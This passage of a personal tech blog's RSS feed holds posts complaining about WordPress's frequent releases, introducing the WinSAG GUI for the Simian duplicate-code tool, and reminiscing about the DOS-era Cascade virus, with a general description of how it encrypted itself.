<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Kannan&#039;s Jumbled Thoughts&#187; Kannan&#8217;s Jumbled Thoughts</title> <atom:link href="http://kannan.jumbledthoughts.com/index.php/category/computers/code/feed/" rel="self" type="application/rss+xml" /><link>http://kannan.jumbledthoughts.com</link> <description>Technology, Books, Chess, Movies and more</description> <lastBuildDate>Sat, 24 Jul 2010 19:37:00 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.0</generator> <item><title>No..not another WordPress version!!</title><link>http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/</link> <comments>http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/#comments</comments> <pubDate>Mon, 04 Aug 2008 01:11:06 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Wordpress]]></category> <category><![CDATA[Irritiation]]></category> <category><![CDATA[Security]]></category> <category><![CDATA[Upgrade]]></category> <category><![CDATA[Version]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/</guid> <description><![CDATA[I logged in to my blog account 2 days back, after a verrry long time (I blame my project move in the professional world). I was surprised to find out so many things have happened in the WordPress world. A new version has been released, many more vulnerabilities have been found and fixed&#8230;WAIT&#8230;a NEW version?? [...]]]></description> <content:encoded><![CDATA[<p>I logged in to my blog account 2 days back, after a verrry long time (I blame my project move in the professional world). I was surprised to find out so many things have happened in the WordPress world. A new version has been released, many more vulnerabilities have been found and fixed&#8230;WAIT&#8230;a NEW version?? NOOOO! It feels like I just updated to a new version&#8230;is there a new one already!???</p><p>WordPress is churning out new versions faster than my C2Duo / Vista machine can boot <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' title="No..not another Wordpress version!! (Jumbled Thoughts)" /> Don&#8217;t believe me? Look at these dates:</p><table cellspacing="0" cellpadding="2" width="400" border="0"><tbody><tr><td valign="top" width="191"><strong>WordPress version</strong></td><td valign="top" width="207"><strong>Release date</strong></td></tr><tr><td valign="top" width="191">1.5 (Strayhorn)</td><td valign="top" width="207">mid-Feb 2005</td></tr><tr><td valign="top" width="191">2.0 (duke)</td><td valign="top" width="207">Dec 2005</td></tr><tr><td valign="top" width="191">2.1 (Ella)</td><td valign="top" width="207">22 Jan 2007</td></tr><tr><td valign="top" width="191">2.2 (Getz)</td><td valign="top" width="207">16 May 2007</td></tr><tr><td valign="top" width="191">2.3 (Dexter)</td><td valign="top" width="207">24 Sep 2007</td></tr><tr><td valign="top" width="191">2.5 (Brecker)</td><td valign="top" width="207">29 Mar 2008</td></tr><tr><td valign="top" width="191">2.6 (Tyner)</td><td valign="top" width="207">15 Jul 2008</td></tr></tbody></table><p>&nbsp;</p><p><span id="more-233"></span></p><p>As you can see lately there is a new release every 3 months (avg). As a developer, I understand it is always good to code that great/mean feature and ship it out ASAP so that we can watch the customer use it, but as an end-user it *is* very tiresome to constantly keep upgrading every quarter. I don&#8217;t know how many times I did that&#8230;I am running more than 2 installations (1 for me, 1 for my wife, blah blah&#8230;don&#8217;t ask me to use WPMU..I did try it!), so whenever I see &#8220;A new WordPress version is available&#8221; message, I more or less go nuts!</p><p>The basic WP architecture has been severely criticized for being too rigid in terms of quick security fixes. See the following excerpt from <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress" target="_blank">Wikipedia</a>:</p><blockquote><p>BlogSecurity currently maintains a list of WordPress vulnerabilities.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-7" target="_blank">[8]</a></sup></p><p>In January 2007, many high-profile <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Search_engine_optimization" target="_blank">Search engine optimization</a> (SEO) blogs, as well as many low-profile commercial blogs featuring <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/AdSense" target="_blank">AdSense</a>, were targeted and attacked with a WordPress exploit.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-8" target="_blank">[9]</a></sup></p><p>A separate vulnerability on one of the project site&#8217;s <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Web_server" target="_blank">web servers</a> allowed an attacker to introduce exploitable code in the form of a <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/Backdoor_%28computing%29" target="_blank">back door</a> to some downloads of WordPress 2.1.1. The 2.1.2 release addressed this issue; an advisory released at the time advised all users to upgrade immediately.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-9" target="_blank">[10]</a></sup></p><p>In May 2007, a study revealed that 98% of WordPress blogs being run are exploitable.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-10" target="_blank">[11]</a></sup></p><p>In a June 2007 interview, Stefen Esser, the founder of the PHP Security Response Team, spoke critically of WordPress&#8217;s security track record, citing problems with the application&#8217;s architecture that make it unnecessarily difficult to write code that is secure from <a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/SQL_injection" target="_blank">SQL injection</a> vulnerabilities, as well as other problems.<sup><a rel="nofollow" target="_blank" href="http://en.wikipedia.org/wiki/WordPress#cite_note-11" target="_blank">[12]</a></sup></p></blockquote><p>98% of the blogs?? Woah&#8230;.</p><p>I hope WordPress core developers fix the basic design flaw (if there was one!) and put together a solid core to the extremely usable exterior, so that many users like me, who are kind of paranoid, stay with WP in the future! Oh, btw, it&#8217;d be really nice if they could make the release cycle twice an year!!</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/intel-speak-during-out-of-office-hours/" rel="bookmark" class="crp_title">Intel-speak during out-of-office hours</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-live-writer-problems-with-wordpress-how-to-fix/" rel="bookmark" class="crp_title">Windows Live Writer problems with WordPress &#8211; How To fix?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/2008-top-20-billionaires-what-do-they-do-with-so-much-money/" rel="bookmark" class="crp_title">2008 Top 20 Billionaires: What do they do with so much money?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/we-need-more-ilangos/" rel="bookmark" class="crp_title">We need more Ilangos!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/testing-windows-live-writer-2008/" rel="bookmark" class="crp_title">Testing Windows Live Writer 2008</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=No..not+another+Wordpress+version%21%21+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21&amp;desc=I%20logged%20in%20to%20my%20blog%20account%202%20days%20back%2C%20after%20a%20verrry%20long%20time%20%28I%20blame%20my%20project%20move%20in%20the%20professional%20world%29.%20I%20was%20surprised%20to%20find%20out%20so%20many%20things%20have%20happened%20in%20the%20Wordpress%20world.%20A%20new%20version%20has%20been%20released%2C%20many%20more%20vulnerabilities%20have%20been%20found%20and%20fixed...WAIT...a%20N" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;bm_description=No..not+another+Wordpress+version%21%21&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&amp;title=No..not+another+Wordpress+version%21%21" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-233-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/&quot;&gt;No..not another WordPress version!!&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>WinSAG: Windows GUI for Simian (&amp; other tools)</title><link>http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/</link> <comments>http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/#comments</comments> <pubDate>Sat, 12 Apr 2008 15:51:23 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Projects]]></category> <category><![CDATA[C++]]></category> <category><![CDATA[Duplicate Code]]></category> <category><![CDATA[programming]]></category> <category><![CDATA[Refactor]]></category> <category><![CDATA[Simian]]></category> <category><![CDATA[Tool]]></category> <category><![CDATA[Utility]]></category> <category><![CDATA[windows]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/</guid> <description><![CDATA[Recently one of my peers inherited some legacy code from an Israel team. It had around 800 C/C++ language files and 30 ASM files. The task for my peer was to somehow make sense out of it and port that to an embedded environment with a big size restriction. The size of the code had [...]]]></description> <content:encoded><![CDATA[<p><img style="margin: 0px 0px 0px 15px;" src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/WinSAG_Star.png" alt="WinSAG Star WinSAG: Windows GUI for Simian (&amp; other tools) image" width="144" height="152" align="right" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /> Recently one of my peers inherited some legacy code from an Israel team. It had around 800 C/C++ language files and 30 ASM files. The task for my peer was to somehow make sense out of it and port that to an embedded environment with a big size restriction. The size of the code had to be reduced by at least 40%. Just to get him started on that, I thought of developing a new tool that could find the code duplicates. A quick Google search revealed the excellent <a rel="nofollow" target="_blank" title="Simian" href="http://www.redhillconsulting.com.au/products/simian/" target="_blank">Simian</a>. Since, it met all our needs, my colleague has decided to buy a license to the tool and use it for his needs.</p><p>I spent a day trying out all it&#8217;s options. They have a neat ANT task, as well as an <a rel="nofollow" target="_blank" title="Eclipse plugin" href="http://www.eclipse-plugins.info/eclipse/plugin_details.jsp?id=946" target="_blank">Eclipse plugin</a> for Java developers, while nothing for any of the VisualStudio.NET IDEs! There is a command line tool though, thankfully. I put together a small GUI front end for this tool. Check it out if you are interested. Note that this tool was put together in a very short time and so didn&#8217;t go through any proper testing &amp; I don&#8217;t intend to put it through one, in the near future. I have used this in my house for 2 days now and it hasn&#8217;t crashed yet.</p><p>This tool is in public domain and totally free. You can do whatever you want to with the source, though a line of credit will be nice. A post card or an email will be appreciated too. You cannot hold me responsible for any damage caused by this tool or the source code <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><p><img src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/MainScreen.png" alt="WinSAG MainScreen" width="500" height="348" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><h3><span style="text-decoration: underline;"><strong> </strong></span></h3><p><span id="more-217"></span></p><h3><span style="text-decoration: underline;"><strong>WinSAG FAQ:</strong></span></h3><p>I will keep this updated with any interesting/often repeated questions. <span style="text-decoration: underline;">Last updated</span>: <em>April 12, 2008 1700 IST</em></p><h4><strong>What is WinSAG?</strong></h4><p>WinSAG is a small Windows utility written in C# 2.0. It acts as a front end GUI for the excellent tool Simian.</p><h4><strong>Why call this WinSAG?</strong></h4><p>WinSAG is a bad acronym for &#8220;<strong>Win</strong>dows <strong>S</strong>imilarity <strong>A</strong>nalyzer <strong>G</strong>UI&#8221; (I know it sucks, but hey..I wanted to write a tool, not win a naming contest! Any clever name suggestions are welcome, though)</p><h4><strong>Where to get it?</strong></h4><p>Click here to download WinSAG v1.0. Don&#8217;t be fooled by the v1.0 tag. This is still only Alpha.</p><h4><strong>What are the SW requirements?</strong></h4><p>WinSAG needs .NET runtime 2.0. You can get it <a rel="nofollow" target="_blank" title=".NET 2.0 runtime files. Around 22MB." href="http://www.microsoft.com/downloads/details.aspx?FamilyID=0856EACB-4362-4B0D-8EDD-AAB15C5E04F5&amp;displaylang=en" target="_blank">here</a>. You also need <a rel="nofollow" target="_blank" title="Download Simian" href="http://www.redhillconsulting.com.au/products/simian/get_it_now.html" target="_blank">Simian</a>.</p><h4><strong>How to use it?</strong></h4><p>It is not actually difficult, trust me. The following pictorial tour should help you setup a project and execute Simian on your source files. For this tour, I used <a rel="nofollow" target="_blank" title="emule 0.48a source" href="http://sourceforge.net/project/showfiles.php?group_id=53489" target="_blank">eMule 0.48a source base</a> &amp; <a rel="nofollow" target="_blank" title="Simian 2.2.24" href="http://www.redhillconsulting.com.au/products/simian/get_it_now.html" target="_blank">Simian 2.2.24</a>. Also, download and unzip the WinSAG from this page in to some directory in your hard disk.</p><p><span style="text-decoration: underline;">Step 1:</span></p><p>First step is to tell WinSAG where your Simian binary is. Go to the directory where you unzipped WinSAG. Open <em>winsag.exe.config</em> file in notepad. Modify the following fields accordingly.</p><blockquote><p>&lt;setting name=&#8221;ToolName&#8221; serializeAs=&#8221;String&#8221;&gt;<br /> &lt;value&gt;<strong>simian-2.2.24.exe</strong>&lt;/value&gt;<br /> &lt;/setting&gt;<br /> &lt;setting name=&#8221;ToolPath&#8221; serializeAs=&#8221;String&#8221;&gt;<br /> &lt;value&gt;<strong>F:\Tools\bin</strong>&lt;/value&gt;<br /> &lt;/setting&gt;<br /> &lt;setting name=&#8221;ToolStyleSheet&#8221; serializeAs=&#8221;String&#8221;&gt;<br /> &lt;value&gt;<strong>F:\Tools\simian.xsl</strong>&lt;/value&gt;<br /> &lt;/setting&gt;</p></blockquote><p>Fret not, this is a one time activity. Once the values are setup, fire  up WinSAG. Now, choose <em>File =&gt; Preferences</em>. You should see the values you put in  here.</p><p><img src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/PreferencesDlg.png" alt="Preferences Dialog" width="500" height="348" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><p>The <strong>TimeOut </strong>value specifies the maximum time (in milliseconds) WinSAG has to wait for Simian to finish its execution. If the specified time elapses, WinSAG forcefully terminates Simian. The default value is <strong>1 minute</strong> (or 60sec). Try changing this value if you want WinSAG to give more time to Simian. A &#8220;-1&#8243; (negative one) in this field will make WinSAG wait indefinitely.</p><p><span style="text-decoration: underline;">Step 2:</span></p><p>Lets create a new project. A project file consists of information needed to run Simian (or other similarity analysis tools) again on the specified source files with the specified options. You can save this file and move it to a different computer with WinSAG to do the same operation there.</p><p>Choose <em>Project =&gt; New. </em></p><p><img src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/newProject.png" alt="new Project" width="500" height="368" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><p>Choose the directory where you want WinSAG to save this project file. In our example, I named the project file &#8220;<em>emuleProject.wsp</em>&#8220;. WSP is the standard extension for WinSAG project files.</p><p><span style="text-decoration: underline;">Step 3:</span></p><p>WinSAG opens up the project properties window. This dialog box is shown whenever you create a new project or whenever you open an existing WinSAG project file. You can set or edit all the Simian options through this box.</p><p><img src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/ProjectProperties.png" alt="Project Properties" width="500" height="348" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><p>For our example, just give a name to the project and specify the eMule source directory.</p><p><span style="text-decoration: underline;">Step 4:</span></p><p>Now that all the options are set, press Ctrl-F5 or choose <em>Project =&gt; Find Duplicates. </em>WinSAG will invoke Simian. While Simian is still running, you will see a progress bar as shown below.</p><p><img src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/Working.png" alt="WinSAG Working" width="500" height="348" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><p><span style="text-decoration: underline;">Step 5:</span></p><p><img src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/Results.png" alt="Results WinSAG: Windows GUI for Simian (&amp; other tools) image" width="500" height="393" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><p>WinSAG collects the results from Simian and shows it in the results window. You can click on any of the links there to move to the proper file.</p><p>Note that if WinSAG doesn&#8217;t find a XSL (specified through <em>Winsag.exe.config </em>file), it resorts to the embedded <em>simian.xsl</em>. You can specify any XSL for processing the results.</p><p>In our example, Simian reports that eMule 0.48a source has around 10% duplicates. Not bad, eh!?</p><p><img src="http://kannan.jumbledthoughts.com/wp-content/upload/LiveFiles/WinSAGWindowsGUIforSimianOthertools_FD95/PercentageDuplication.png" alt="Percentage Duplication in Emule 0.48a source" width="550" height="187" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></p><h4><strong>Found a bug. What do I do?</strong></h4><p><a title="Bug report - Contact me!!" href="http://kannan.jumbledthoughts.com/index.php/about/contact-me/" target="_blank">Mail me</a> the details. I&#8217;ll look in to it when I get some free time.</p><h4><strong>Can I get the sources?</strong></h4><p>Sure. The source files are available via Google Code. Visit <a rel="nofollow" target="_blank" title="http://code.google.com/p/winsag/" href="http://code.google.com/p/winsag/" target="_blank">http://code.google.com/p/winsag/</a>.</p><h3><span style="text-decoration: underline;"><strong>Future plans:</strong></span></h3><ul><li>Make the preferences editable from the GUI</li><li>Support other Similarity Analysis tools.</li><li>Fix the bugs <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></li><li>Port this to Java (Owner: my wife!)</li></ul><h3><strong><span style="text-decoration: underline;">Download</span></strong></h3><p><span style="text-decoration: underline;">Executable</span></p> <a class="downloadlink dlimg" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=9" title="Version 1.0 downloaded 17 times" ><img src="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/img/download.gif" alt="Download WinSAG Version 1.0" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></a><p><span style="text-decoration: underline;">Source Code</span></p> <a class="downloadlink dlimg" href="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/download.php?id=10" title="Version 1.0 downloaded 22 times" ><img src="http://kannan.jumbledthoughts.com/wp-content/plugins/download-monitor/img/download.gif" alt="Download WinSAG Source Code Version 1.0" title="WinSAG: Windows GUI for Simian (&amp; other tools) (Jumbled Thoughts)" /></a><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/chess-uci-protocol-tracer-utility/" rel="bookmark" class="crp_title">Chess UCI protocol tracer utility</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/effectively-debugging-end-user-issues/" rel="bookmark" class="crp_title">Effectively debugging the end-user issues</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/chess-puzzle-2-find-blacks-tactical-shot/" rel="bookmark" class="crp_title">Chess Puzzle 2: Find Black&rsquo;s tactical shot</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/how-to-get-logged-in-username-in-hudson/" rel="bookmark" class="crp_title">How to get logged-in username in Hudson?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin/" rel="bookmark" class="crp_title">WordPress plugin for Thamizmanam toolbar</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;title=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;title=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;title=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29&amp;desc=%20Recently%20one%20of%20my%20peers%20inherited%20some%20legacy%20code%20from%20an%20Israel%20team.%20It%20had%20around%20800%20C%2FC%2B%2B%20language%20files%20and%2030%20ASM%20files.%20The%20task%20for%20my%20peer%20was%20to%20somehow%20make%20sense%20out%20of%20it%20and%20port%20that%20to%20an%20embedded%20environment%20with%20a%20big%20size%20restriction.%20The%20size%20of%20the%20code%20had%20to%20be%20reduced%20by%20" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;bm_description=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;title=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;title=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&amp;title=WinSAG%3A+Windows+GUI+for+Simian+%28%26amp%3B+other+tools%29" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-217-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/&quot;&gt;WinSAG: Windows GUI for Simian (&amp; other tools)&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/winsag-windows-gui-for-simian-other-tools/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Cascade Virus: Down the memory lane.</title><link>http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/</link> <comments>http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/#comments</comments> <pubDate>Mon, 24 Mar 2008 12:45:54 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[1.44MB]]></category> <category><![CDATA[Cascade]]></category> <category><![CDATA[Computer Virus]]></category> <category><![CDATA[DOS]]></category> <category><![CDATA[Security]]></category> <category><![CDATA[Virii]]></category> <category><![CDATA[Virtualbox]]></category> <category><![CDATA[virus]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/cascade-virus-down-the-memory-lane/</guid> <description><![CDATA[I have always been fascinated with computer virii. My first exposure to computer virii was back in 1994, when my 360KB floppy disk got infected by STONED. The hype around virii was so much and I was so misinformed, I kept that infected disk in the jacket, away from all other diskettes I owned for [...]]]></description> <content:encoded><![CDATA[<p>I have always been fascinated with computer virii. My first exposure to computer virii was back in 1994, when my 360KB floppy disk got infected by <em>STONED</em>. The hype around virii was so much and I was so misinformed, <span style="color: #800000;"><strong>I kept that infected disk in the jacket, away from all other diskettes I owned for 2 weeks</strong></span>!! No, I am not kidding.</p><p>Gokul, (owner of Port Bit Systems/Trichy, who was my first computer teacher) looked like a hero to me, when he could <em>magically</em> clean the infection by running a command line DOS McAfee. Man,those days were cool! Later when I started learning x86 assembly and DOS internals, I got fully absorbed in to the wonder world of DOS virii. (I still have the first DOS anti-virus program I wrote &#8211; &#8220;<em>(C) Brain&#8221;</em> remover &#8211; somewhere in my old HDD). &#8220;<em>Computer Viruses: Prevention, detection and cure</em>&#8221; by Rajneesh Kapur was my first viruses book; An excellent one! This is out of print now, can&#8217;t even find it in the <a rel="nofollow" target="_blank" title="BPB Publishers - Original publishers of Rajneesh Kapur;s book" href="http://www.bpbonline.com" target="_blank">original publishers site</a>.</p><p>One virus I fondly remember to this day, is the famous (!?) <a rel="nofollow" target="_blank" title="F-Secure analysis" href="http://www.f-secure.com/v-descs/cascade.shtml" target="_blank">CASCADE</a> virus (a.k.a Raindrop/17xx). This virus was a non-overwriting, resident COM infector. When triggered it made the characters in the screen fall in to a nice heap at the bottom. (Remember, we were in the command line mode then!). It was kind of cool to see this cascading action.</p><p>Cascade was the first virus to use encryption. The virus consisted of two parts &#8211; the virus body and an encryption routine. The latter encrypted the body of the virus so that it appeared different in every infected file. After loading the file, control was transferred to the decryption routine which decoded the virus body and transferred control to it. Unlike future polymorphic viruses, Cascade encoded only the body of the virus. The size of the infected file was used as the decryption key. Since the decryption routine remained unchanged, antivirus programs detected the virus with ease.</p><p>If you have never seen the virus in action, look at the screen shots below:</p><p><a title="click to enlarge" href="http://kannan.jumbledthoughts.com/wp-content/upload/2008/03/cascade_virus_payload_1.png" target="_blank"><img 